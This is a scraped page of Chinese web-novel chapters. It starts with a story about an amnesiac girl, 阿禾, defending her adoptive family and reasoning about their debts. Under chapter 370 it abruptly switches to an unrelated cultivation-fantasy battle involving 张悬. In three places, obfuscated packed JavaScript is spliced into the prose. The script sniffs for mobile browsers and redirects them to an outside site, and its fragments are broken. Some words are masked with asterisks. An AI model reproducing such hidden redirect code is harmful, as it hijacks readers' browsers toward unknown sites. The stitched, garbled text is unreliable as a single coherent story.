35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097513|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那是一双纤细的、属于女子的手。 可刚刚……就是这双手,毫不犹豫地折断了别人的骨头,毫不犹豫地攻向了人最脆弱的要害。 她为什么会这些? 为什么在看到家人受伤时,脑子里会有一个声音告诉她,要用最快、最有效的方式,让敌人失去行动能力,甚至是……生命? 她看着满院狼藉,看着瘫软如泥的王二癞子和混混,又看看一脸惊魂未定的顾家父子。 最后,她的目光落在了顾大娘那张布满担忧与一丝丝畏惧的脸上。 阿禾的心,像是被针扎了一下。 眼神里那股令人心悸的陌生感渐渐褪去,重新被那片干净的、无措的迷茫所覆盖。 她站在那里,像个做错了事的孩子。 “娘,我……” “阿禾?” 顾大娘的声音抖得不成样子,小心翼翼地,像是怕惊着一只受了伤的鸟儿。 她踉踉跄跄地扑到阿禾面前。 她没问别的,只一把抓住阿禾的手,翻来覆去地看。 “你……你没伤着吧?他们碰到你哪儿没有?” 顾大娘的眼里,没有半分责备,只有快要满溢出来的担忧和后怕。 阿禾被她抓着手,浑身一颤,像是被烫到了一样。 “娘……” 她刚一开口,眼泪就滚了下来。 就在这一瞬间的空当。 “快!快走!” 那还跪在地上的王二癞子,也不知从哪儿爆发出了一股求生的力气,嘶吼一声,手脚并用地朝院门口扑去。 他那样子,活像一只被踩了尾巴的丧家之犬,连滚带爬,狼狈到了极点。 断了腿的那个也咬着牙,用手肘撑着地,一点一点往外挪,疼得满脸是汗,却一声不敢吭。 另一个昏死过去的,被他俩一人抓着一只脚,像拖死狗一样在地上拖出一条长长的痕迹。 阿禾的眼神倏地一冷,下意识就想上前。 “阿禾!” “别去!” 顾老实和顾大娘同时出声,一人一边,死死拽住了她的胳膊。 第368章 我想不起来 老两口的手抖得厉害,与其说是拉着她,不如说是怕自己吓得瘫倒,借着她站稳身子。 “算了!”顾大娘的声音都劈了叉,带着哭腔,“让他们滚!让他们滚!” 他们怕阿禾再出手。 更怕事情闹到官府,闹到无法收场的地步。 眼睁睁看着那三个祸害连滚带爬地消失在巷口,院子里,只剩下顾家人和一地的狼藉。 顾家三兄弟看着站在院子中央的阿禾,眼神复杂。 顾大山是纯粹的震惊,顾石头是混杂着崇拜的傻眼,而顾小川,那张总是带笑的脸上,此刻的表情最是古怪。 寂静压得人喘不过气。 还是顾大娘先动了,她松开阿禾,踉跄着奔到顾石头身边,看着他额头上的血口子,眼泪又掉了下来。“石头,我的儿,疼不疼啊……” 顾老实也过去查看儿子们的伤势,嘴里骂着:“几个大小伙子,还不如个姑娘家!” 话虽这么说,可他看向阿禾的眼神里,却带着连自己都没察觉到的审视和陌生。 啪! 顾小川忽然一拍大腿,叫出声来。 “打得好!太**解气了!”他咧开被打肿的嘴角,嘶着凉气,却笑得眼睛都亮了,“阿禾,你可真行!早知道你这么厉害,刚才就该让你先上!” 他这一嗓子,把那股子凝滞的气氛给喊活了。 顾石头也摸着脑袋,嘿嘿傻笑:“是啊,阿禾,你好厉害。” 尴尬的氛围总算缓和下来。 顾大娘一边给石头擦着血,一边小心翼翼地看向阿禾,声音里带着试探:“阿禾啊……你这……这身手,是跟谁学的呀?” 所有人的目光,再次聚焦到阿禾身上。 阿禾被他们看得手足无措,她茫然地摇了摇头,声音细得像蚊子叫: “我……我不知道……” 她绞着衣角,眼神慌乱地扫过顾小川嘴角的伤,顾石头额头的血,还有顾大山身上被踹出的脚印。 那股子狠厉劲儿荡然无存,取而代之的是浓浓的后怕和愧疚。 “我……我是不是下手太重了?”她怯生生地问,眼圈一下子就红了,“他们……他们的腿断了,手也……要不要……要不要找个郎中给他们看看?” 这话一出,顾家所有人都懵了。 连顾小川都收起了嬉笑,愕然地看着她。 前一刻还像个杀神,招招致命,后一刻却又怕把人打坏了,担心起仇家来了。 这……这到底哪个才是真正的阿禾? 众人心里都泛起了嘀咕。 “看什么郎中!”最后,还是顾老实一拍板,沉着脸下了定论,“那种泼皮无赖,打断了腿也是活该!只要他们往后不敢再上门,这事就算过去了!” 他嘴上说得硬气,可眉宇间的愁云却半点没散。 王二癞子是顾大娘的亲弟弟,是出了名的滚刀肉,今天吃了这么大的亏,这事儿哪能那么容易过去。 “爹说得对!”顾小川却是不怕事大,“他要是还敢来,就让阿禾再揍他一顿!看他还敢不敢横!” 他转头想冲阿禾挤个眼,却见阿禾低着头,肩膀微微发抖,一副快要哭出来的模样。 那柔弱无助的样子,让顾小川把剩下的话都咽了回去。 他挠了挠头,满心疑窦。 今天出手**的那个阿禾,和现在这个小白花似的阿禾,真是一个人吗? …… 夜色像化不开的浓墨,将小院笼罩得严严实实。 白日的喧嚣与血腥仿佛还未散尽,空气里,似乎还飘着淡淡的铁锈味儿。 堂屋的油灯捻得极小,豆大的光晕,勉强照亮一角。 顾家兄弟的伤都上了药,已经睡下了。 阿禾躺在自己的小床上,眼睛睁得大大的,毫无睡意。 月光透过窗棂,在她身上投下斑驳的影子。 她举起自己的双手,在清冷的光线下反复看着。 就是这双手,白天的时候,轻而易举地折断了人的骨头。 那种骨头碎裂时,通过手掌传来的细微震动,此刻想起来,依旧让她从心底里发寒。 她是谁? 她为什么会那些东西? 脑子里空空荡荡,越是使劲去想,头就疼得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097514|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是要裂开。 “吱呀——” 房门被轻轻推开。 顾大娘端着一碗还冒着热气的姜糖水,佝偻着身子,小心翼翼地走了进来。 她脸上的红肿还未消,嘴角也青了一块,在昏暗的光线下,瞧着格外憔悴。 “睡不着?”她把碗放在桌上,声音放得极轻,生怕惊着了床上的姑娘。 阿禾猛地坐起身,看着她,像只受惊的兔子。 “娘……” 顾大娘叹了口气,走到床边坐下,伸手摸了摸她的头。 “吓着了吧?傻孩子,都过去了。” 温热的掌心,带着粗糙的薄茧,却有一种让人心安的力道。 阿禾的眼圈一下子就红了,她抓住顾大娘的手,声音里带着哭腔: “娘,我……我今天……” “你今天护着这个家了。”顾大娘打断了她的话,眼神里没有半分怪责,只有心疼,“要不是你,今天咱们一家子,还不知要被欺负成什么样。” 她越是这么说,阿禾心里就越是难受。 那不是她。 那个出手狠厉,招招致命的人,让她自己都觉得陌生和恐惧。 “可我……我想不起来……我什么都想不起来……” 她痛苦地抱住头,太阳穴突突地跳,像是有根针在里面搅。 “想不起来就不想了!”顾大娘见她这样,顿时慌了,连忙将她搂进怀里,轻轻拍着她的背,“咱不想了啊,不想了。过去的事,管它呢!只要知道你现在是咱顾家的闺女,是阿禾,就成了!” 妇人怀里有股淡淡的汗味和皂角香,那是常年劳作的味道,却让阿禾那颗慌乱不安的心,慢慢地定了下来。 她像只找到了巢的雏鸟,把脸深深埋在顾大娘的肩窝里,贪婪地汲取着这份温暖。 长这么大,好像从来没有人这样抱过她。 也从来没有人,在她害怕的时候,这样温柔地哄过她。 “娘……”她闷闷地叫了一声,带着浓重的鼻音,小女孩似的往顾大娘怀里蹭了蹭,“我以后哪儿也不去了,就待在家里,待在娘身边。” 第369章 她怎么会懂这些 “傻话。”顾大娘被她蹭得发痒,嘴上嗔怪着,手却把她搂得更紧了些。 心里却泛起一阵酸楚,这孩子,瞧着就像是从来没得过人疼似的,让人心尖尖都发软。 母女俩就这么静静地抱着,屋子里只剩下彼此的呼吸声。 过了许久,阿禾的情绪才平复下来。 她从顾大娘怀里抬起头,那双被泪水洗过的眼睛,在黑暗中格外清亮。 “娘,王二癞子拿的那张借据……咱家,当真欠了他十两银子?” 提到这事,顾大娘脸上的那点温情便褪了下去,换上了一抹愁色。 她叹了口气,点了点头,又摇了摇头。 “那十两银子,当初是给你外公看病用的。可你爹早就托人还了八两,只差二两了。谁知道他昧着良心不认账,还非说是利滚利……” 阿禾听着,心里叹了口气。 她犹豫了一下,又轻声问道:“那除了这笔,咱家还有别的欠债吗?” 顾大娘的身子明显僵了一下。 她看着阿禾那张写满担忧的小脸,不想让孩子跟着操心,可话到嘴边,却变成了另一声更沉重的叹息。 “有。” 她没有隐瞒,声音低了下去,“前几年海上遭了风,船坏了要修,里里外外跟几个亲戚邻居家挪借了些……零零总总加起来,怕是还有三十两银子的窟窿。” 三十两。 对于这个清贫的家来说,这无疑是笔天文数字。 见她脸色发白,顾大娘连忙拍了拍她的手,强打起精神道: “好孩子你别怕,也别把这事儿放心上。天塌下来,有你爹和哥哥们顶着呢,不用你个小姑娘家操心。快,把姜糖水喝了,暖暖身子,好好睡一觉,啊?” 阿禾接过那碗姜糖水,小口小口地喝完了,温热的甜意顺着喉咙滑进胃里,驱散了些许深夜的寒气。 三十两银子。 对这个风雨飘摇的家,无异于一座大山。 但…… 顾大娘看着她苍白的小脸,心疼得直抽抽,正想再说几句宽慰的话,却听见阿禾轻声开了口。 那声音带着喝过糖水后的微甜,却又十分平静。 “三十两也不算多。” 顾大娘以为自己听岔了,掏了掏耳朵,“啊?闺女,你说啥?” 阿禾抬起头,那双在黑暗中依旧清亮的眸子定定地看着她,又重复了一遍,字字清晰:“娘,我说,三十两银子,要还清,简单的很。” 简单的很? 这四个字,像道惊雷,在顾大娘脑子里轰然炸开。 好像想到什么似的,她猛地抓住阿禾的肩膀,力气大得吓人,声音都变了调: “阿禾!你……你可别想不开!咱家再穷,也不能让你去做那……那不好的事!娘就是拼了这条老命,也绝不让你走那条路!” 她想到了那些被卖进富贵人家当小妾,甚至……甚至被卖进勾栏院的苦命女子。 阿禾这般容貌,若真走了那一步,便是万劫不复! 阿禾被她摇得一晃,却没躲,反而伸手覆上顾大娘的手背,轻轻拍了拍,安抚道: “娘,您想到哪儿去了。我是说,我想法子做点营生,赚正经钱。” “做营生?”顾大娘愣住了,随即苦笑起来,眼里的惊恐散去,换上了更深的无奈,“傻孩子,做什么营生不要本钱?咱家现在……连多买一斗米的钱都拿不出来。” “本钱的事,您别管。”阿禾的语气里,有种不容置疑的笃定,“我来想办法。” 她话锋一转,又提起了白日的事。 “至于王二癞子那一百两,肯定不能给。可那借据上按了你跟爹的手印,真要闹到官府去,这钱怕是赖不掉。” 顾大娘的心又提了起来,“那……那可如何是好?” “官府虽认借据,却不会认他那驴打滚的利钱。这种高利盘剥,朝廷是不许的。”阿禾条理分明地分析着,仿佛在说一件再寻常不过的事,“官老爷就算判,顶多也是按着朝廷准许放贷的最高利息来算。娘,你知道眼下民间借贷,官府准的最高息,是几分利吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097515|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾大娘彻底蒙了。 她张着嘴,呆呆地看着眼前的姑娘。 什么高利盘剥……什么朝廷准的最高息……这些话,从她这个斗大的字不识一筐的庄稼老妇听来,简直就像是天书。 她只知道欠债还钱,哪里晓得里头还有这么多道道。 自家这个……这个捡回来的闺女,她怎么会懂这些? 就在顾大娘满心震撼,还想再问些什么的时候,阿禾却忽然懒洋洋地打了个哈欠,眼角泛起了泪花,那股子沉稳冷静的气场瞬间消失得无影无踪。 她揉了揉眼睛,声音含糊起来: “好困……娘,我先睡了,明天……明天再想……” 话音未落,她脑袋一歪,竟真的就这么倒在枕头上,呼吸很快就变得平稳悠长。 顾大娘伸在半空中的手,就那么僵住了。 她看着阿禾恬静的睡颜,脑子里乱成了一锅粥。 前一刻还冷静分析律法条文,像个衙门里的师爷,后一刻就困得倒头就睡,像个没心没肺的娃娃。 这孩子……到底是个什么人啊? 顾大娘坐在床边,心里翻江倒海,再没有半点睡意。 她悄悄起身,替阿禾掖好被角,然后轻手轻脚地走出了屋子。 夜深了,院子里黑漆漆的,只有几颗疏星挂在天上。 顾大娘摸黑进了正屋,一把将睡得正沉的顾老实给推醒了。 “老头子,快醒醒!” “嗯?咋了……是石头伤口又疼了?”顾老实迷迷糊糊地坐起来。 “不是!”顾大娘压低了声音,却掩不住语气里的激动和慌乱,她凑到丈夫耳边,将方才在阿禾房里发生的事,一五一十,竹筒倒豆子般全说了出来。 从“三十两简单的很”,到“做营生”,再到那什么“高利盘剥”和“最高息”。 顾老实听着听着,睡意全无,眼睛在黑暗中瞪得溜圆。 夫妻俩面面相觑,都能听到对方擂鼓般的心跳声。 震惊,疑惑,而后是股难以言喻的激动。 第370章 把人快弄** 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 